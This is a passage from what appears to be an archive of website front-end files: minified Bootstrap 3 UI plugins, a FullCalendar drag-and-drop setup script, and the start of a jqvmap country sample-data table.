b="disabled",c=this.$element,d=c.is("input")?"val":"html",e=c.data();a+="Text",e.resetText||c.data("resetText",c[d]()),c[d](e[a]||this.options[a]),setTimeout(function(){"loadingText"==a?c.addClass(b).attr(b,b):c.removeClass(b).removeAttr(b)},0)},b.prototype.toggle=function(){var a=this.$element.closest('[data-toggle="buttons"]'),b=!0;if(a.length){var c=this.$element.find("input");"radio"===c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?b=!1:a.find(".active").removeClass("active")),b&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}b&&this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition.end&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}this.sliding=!0,f&&this.pause();var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});if(!e.hasClass("active")){if(this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")){if(this.$element.trigger(j),j.isDefaultPrevented())return;e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(600)}else{if(this.$element.trigger(j),j.isDefaultPrevented())return;d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")}return f&&this.cycle(),this}};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?(this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350),void 0):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(jQuery),+function(a){"use strict";function b(){a(d).remove(),a(e).each(function(b){var d=c(a(this));d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown")),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown"))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){if("ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a('<div class="dropdown-backdrop"/>').insertAfter(a(this)).on("click",b),f.trigger(d=a.Event("show.bs.dropdown")),d.isDefaultPrevented())return;f.toggleClass("open").trigger("shown.bs.dropdown"),e.focus()}return!1}},f.prototype.keydown=function(b){if(/(38|40|27)/.test(b.keyCode)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(".disabled, :disabled")){var f=c(d),g=f.hasClass("open");if(!g||g&&27==b.keyCode)return 27==b.which&&f.find(e).focus(),d.click();var h=a("[role=menu] li:not(.divider):visible a",f);if(h.length){var i=h.index(h.filter(":focus"));38==b.keyCode&&i>0&&i--,40==b.keyCode&&i<h.length-1&&i++,~i||(i=0),h.eq(i).focus()}}}};var g=a.fn.dropdown;a.fn.dropdown=function(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new f(this)),"string"==typeof b&&d[b].call(c)})},a.fn.dropdown.Constructor=f,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=g,this},a(document).on("click.bs.dropdown.data-api",b).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",e,f.prototype.toggle).on("keydown.bs.dropdown.data-api",e+", [role=menu]",f.prototype.keydown)}(jQuery),+function(a){"use strict";var b=function(b,c){this.options=c,this.$element=a(b),this.$backdrop=this.isShown=null,this.options.remote&&this.$element.load(this.options.remote)};b.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},b.prototype.toggle=function(a){return this[this.isShown?"hide":"show"](a)},b.prototype.show=function(b){var c=this,d=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(d),this.isShown||d.isDefaultPrevented()||(this.isShown=!0,this.escape(),this.$element.on("click.dismiss.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.backdrop(function(){var d=a.support.transition&&c.$element.hasClass("fade");c.$element.parent().length||c.$element.appendTo(document.body),c.$element.show(),d&&c.$element[0].offsetWidth,c.$element.addClass("in").attr("aria-hidden",!1),c.enforceFocus();var e=a.Event("shown.bs.modal",{relatedTarget:b});d?c.$element.find(".modal-dialog").one(a.support.transition.end,function(){c.$element.focus().trigger(e)}).emulateTransitionEnd(300):c.$element.focus().trigger(e)}))},b.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").attr("aria-hidden",!0).off("click.dismiss.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one(a.support.transition.end,a.proxy(this.hideModal,this)).emulateTransitionEnd(300):this.hideModal())},b.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.focus()},this))},b.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keyup.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keyup.dismiss.bs.modal")},b.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.removeBackdrop(),a.$element.trigger("hidden.bs.modal")})},b.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},b.prototype.backdrop=function(b){var c=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var d=a.support.transition&&c;if(this.$backdrop=a('<div class="modal-backdrop '+c+'" />').appendTo(document.body),this.$element.on("click.dismiss.modal",a.proxy(function(a){a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),d&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;d?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()}else!this.isShown&&this.$backdrop?(this.$backdrop.removeClass("in"),a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()):b&&b()};var c=a.fn.modal;a.fn.modal=function(c,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},b.DEFAULTS,e.data(),"object"==typeof c&&c);f||e.data("bs.modal",f=new b(this,g)),"string"==typeof c?f[c](d):g.show&&f.show(d)})},a.fn.modal.Constructor=b,a.fn.modal.noConflict=function(){return a.fn.modal=c,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(b){var c=a(this),d=c.attr("href"),e=a(c.attr("data-target")||d&&d.replace(/.*(?=#[^\s]+$)/,"")),f=e.data("modal")?"toggle":a.extend({remote:!/#/.test(d)&&d},e.data(),c.data());b.preventDefault(),e.modal(f,this).one("hide",function(){c.is(":visible")&&c.focus()})}),a(document).on("show.bs.modal",".modal",function(){a(document.body).addClass("modal-open")}).on("hidden.bs.modal",".modal",function(){a(document.body).removeClass("modal-open")})}(jQuery),+function(a){"use strict";var b=function(a,b){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init("tooltip",a,b)};b.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1},b.prototype.init=function(b,c,d){this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d);for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focus",i="hover"==g?"mouseleave":"blur";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},b.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},b.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data("bs."+this.type);return clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show),void 0):c.show()},b.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data("bs."+this.type);return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide),void 0):c.hide()},b.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){if(this.$element.trigger(b),b.isDefaultPrevented())return;var c=this.tip();this.setContent(),this.options.animation&&c.addClass("fade");var d="function"==typeof this.options.placement?this.options.placement.call(this,c[0],this.$element[0]):this.options.placement,e=/\s?auto?\s?/i,f=e.test(d);f&&(d=d.replace(e,"")||"top"),c.detach().css({top:0,left:0,display:"block"}).addClass(d),this.options.container?c.appendTo(this.options.container):c.insertAfter(this.$element);var g=this.getPosition(),h=c[0].offsetWidth,i=c[0].offsetHeight;if(f){var j=this.$element.parent(),k=d,l=document.documentElement.scrollTop||document.body.scrollTop,m="body"==this.options.container?window.innerWidth:j.outerWidth(),n="body"==this.options.container?window.innerHeight:j.outerHeight(),o="body"==this.options.container?0:j.offset().left;d="bottom"==d&&g.top+g.height+i-l>n?"top":"top"==d&&g.top-l-i<0?"bottom":"right"==d&&g.right+h>m?"left":"left"==d&&g.left-h<o?"right":d,c.removeClass(k).addClass(d)}var p=this.getCalculatedOffset(d,g,h,i);this.applyPlacement(p,d),this.$element.trigger("shown.bs."+this.type)}},b.prototype.applyPlacement=function(a,b){var c,d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),a.top=a.top+g,a.left=a.left+h,d.offset(a).addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;if("top"==b&&j!=f&&(c=!0,a.top=a.top+f-j),/bottom|top/.test(b)){var k=0;a.left<0&&(k=-2*a.left,a.left=0,d.offset(a),i=d[0].offsetWidth,j=d[0].offsetHeight),this.replaceArrow(k-e+i,i,"left")}else this.replaceArrow(j-f,j,"top");c&&d.offset(a)},b.prototype.replaceArrow=function(a,b,c){this.arrow().css(c,a?50*(1-a/b)+"%":"")},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},b.prototype.hide=function(){function b(){"in"!=c.hoverState&&d.detach()}var c=this,d=this.tip(),e=a.Event("hide.bs."+this.type);return this.$element.trigger(e),e.isDefaultPrevented()?void 0:(d.removeClass("in"),a.support.transition&&this.$tip.hasClass("fade")?d.one(a.support.transition.end,b).emulateTransitionEnd(150):b(),this.$element.trigger("hidden.bs."+this.type),this)},b.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},b.prototype.hasContent=function(){return this.getTitle()},b.prototype.getPosition=function(){var b=this.$element[0];return a.extend({},"function"==typeof b.getBoundingClientRect?b.getBoundingClientRect():{width:b.offsetWidth,height:b.offsetHeight},this.$element.offset())},b.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},b.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},b.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},b.prototype.validate=function(){this.$element[0].parentNode||(this.hide(),this.$element=null,this.options=null)},b.prototype.enable=function(){this.enabled=!0},b.prototype.disable=function(){this.enabled=!1},b.prototype.toggleEnabled=function(){this.enabled=!this.enabled},b.prototype.toggle=function(b){var c=b?a(b.currentTarget)[this.type](this.getDelegateOptions()).data("bs."+this.type):this;c.tip().hasClass("in")?c.leave(c):c.enter(c)},b.prototype.destroy=function(){this.hide().$element.off("."+this.type).removeData("bs."+this.type)};var c=a.fn.tooltip;a.fn.tooltip=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof c&&c;e||d.data("bs.tooltip",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.tooltip.Constructor=b,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=c,this}}(jQuery),+function(a){"use strict";var b=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");b.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"html":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(c).is("body")?a(window):a(c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#\w/.test(e)&&a(e);return f&&f.length&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parents(".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top()),"function"==typeof h&&(h=f.bottom());var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;this.affixed!==i&&(this.unpin&&this.$element.css("top",""),this.affixed=i,this.unpin="bottom"==i?e.top-d:null,this.$element.removeClass(b.RESET).addClass("affix"+(i?"-"+i:"")),"bottom"==i&&this.$element.offset({top:document.body.offsetHeight-h-this.$element.height()}))}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(jQuery);js/fullcalendar.js000060400000004106150710775200010153 0ustar00$(document).ready(function() {
	
	
		/* initialize the external events
		-----------------------------------------------------------------*/
	
		$('#external-events div.external-event').each(function() {
		
			// create an Event Object (http://arshaw.com/fullcalendar/docs/event_data/Event_Object/)
			// it doesn't need to have a start or end
			var eventObject = {
				title: $.trim($(this).text()) // use the element's text as the event title
			};
			
			// store the Event Object in the DOM element so we can get to it later
			$(this).data('eventObject', eventObject);
			
			// make the event draggable using jQuery UI
			$(this).draggable({
				zIndex: 999,
				revert: true,      // will cause the event to go back to its
				revertDuration: 0  //  original position after the drag
			});
			
		});
	
	
		/* initialize the calendar
		-----------------------------------------------------------------*/
		
		$('#calendar').fullCalendar({
			header: {
				left: 'prev,next today',
				center: 'title',
				right: 'month,agendaWeek,agendaDay'
			},
			editable: true,
			droppable: true, // this allows things to be dropped onto the calendar !!!
			drop: function(date, allDay) { // this function is called when something is dropped
			
				// retrieve the dropped element's stored Event Object
				var originalEventObject = $(this).data('eventObject');
				
				// we need to copy it, so that multiple events don't have a reference to the same object
				var copiedEventObject = $.extend({}, originalEventObject);
				
				// assign it the date that was reported
				copiedEventObject.start = date;
				copiedEventObject.allDay = allDay;
				
				// render the event on the calendar
				// the last `true` argument determines if the event "sticks" (http://arshaw.com/fullcalendar/docs/event_rendering/renderEvent/)
				$('#calendar').fullCalendar('renderEvent', copiedEventObject, true);
				
				// is the "remove after drop" checkbox checked?
				if ($('#drop-remove').is(':checked')) {
					// if so, remove the element from the "Draggable Events" list
					$(this).remove();
				}
				
			}
		});
		
		
	});js/jqvmap/jquery.vmap.sampledata.js000060400000004522150710775200013412 0ustar00var sample_data = {"af":"16.63","al":"11.58","dz":"158.97","ao":"85.81","ag":"1.1","ar":"351.02","am":"8.83","au":"1219.72","at":"366.26","az":"52.17","bs":"7.54","bh":"21.73","bd":"105.4","bb":"3.96","by":"52.89","be":"461.33","bz":"1.43","bj":"6.49","bt":"1.4","bo":"19.18","ba":"16.2","bw":"12.5","br":"2023.53","bn":"11.96","bg":"44.84","bf":"8.67","bi":"1.47","kh":"11.36","cm":"21.88","ca":"1563.66","cv":"1.57","cf":"2.11","td":"7.59","cl":"199.18","cn":"5745.13","co":"283.11","km":"0.56","cd":"12.6","cg":"11.88","cr":"35.02","ci":"22.38","hr":"59.92","cy":"22.75","cz":"195.23","dk":"304.56","dj":"1.14","dm":"0.38","do":"50.87","ec":"61.49","eg":"216.83","sv":"21.8","gq":"14.55","er":"2.25","ee":"19.22","et":"30.94","fj":"3.15","fi":"231.98","fr":"2555.44","ga":"12.56","gm":"1.04","ge":"11.23","de":"3305.9","gh":"18.06","gr":"305.01","gd":"0.65","gt":"40.77","gn":"4.34","gw":"0.83","gy":"2.2","ht":"6.5","hn":"15.34","hk":"226.49","hu":"132.28","is":"12.77","in":"1430.02","id":"695.06","ir":"337.9","iq":"84.14","ie":"204.14","il":"201.25","it":"2036.69","jm":"13.74","jp":"5390.9","jo":"27.13","kz":"129.76","ke":"32.42","ki":"0.15","kr":"986.26","undefined":"5.73","kw":"117.32","kg":"4.44","la":"6.34","lv":"23.39","lb":"39.15","ls":"1.8","lr":"0.98","ly":"77.91","lt":"35.73","lu":"52.43","mk":"9.58","mg":"8.33","mw":"5.04","my":"218.95","mv":"1.43","ml":"9.08","mt":"7.8","mr":"3.49","mu":"9.43","mx":"1004.04","md":"5.36","mn":"5.81","me":"3.88","ma":"91.7","mz":"10.21","mm":"35.65","na":"11.45","np":"15.11","nl":"770.31","nz":"138","ni":"6.38","ne":"5.6","ng":"206.66","no":"413.51","om":"53.78","pk":"174.79","pa":"27.2","pg":"8.81","py":"17.17","pe":"153.55","ph":"189.06","pl":"438.88","pt":"223.7","qa":"126.52","ro":"158.39","ru":"1476.91","rw":"5.69","ws":"0.55","st":"0.19","sa":"434.44","sn":"12.66","rs":"38.92","sc":"0.92","sl":"1.9","sg":"217.38","sk":"86.26","si":"46.44","sb":"0.67","za":"354.41","es":"1374.78","lk":"48.24","kn":"0.56","lc":"1","vc":"0.58","sd":"65.93","sr":"3.3","sz":"3.17","se":"444.59","ch":"522.44","sy":"59.63","tw":"426.98","tj":"5.58","tz":"22.43","th":"312.61","tl":"0.62","tg":"3.07","to":"0.3","tt":"21.2","tn":"43.86","tr":"729.05","tm":0,"ug":"17.12","ua":"136.56","ae":"239.65","gb":"2258.57","us":"14624.18","uy":"40.71","uz":"37.72","vu":"0.72","ve":"285.21","vn":"101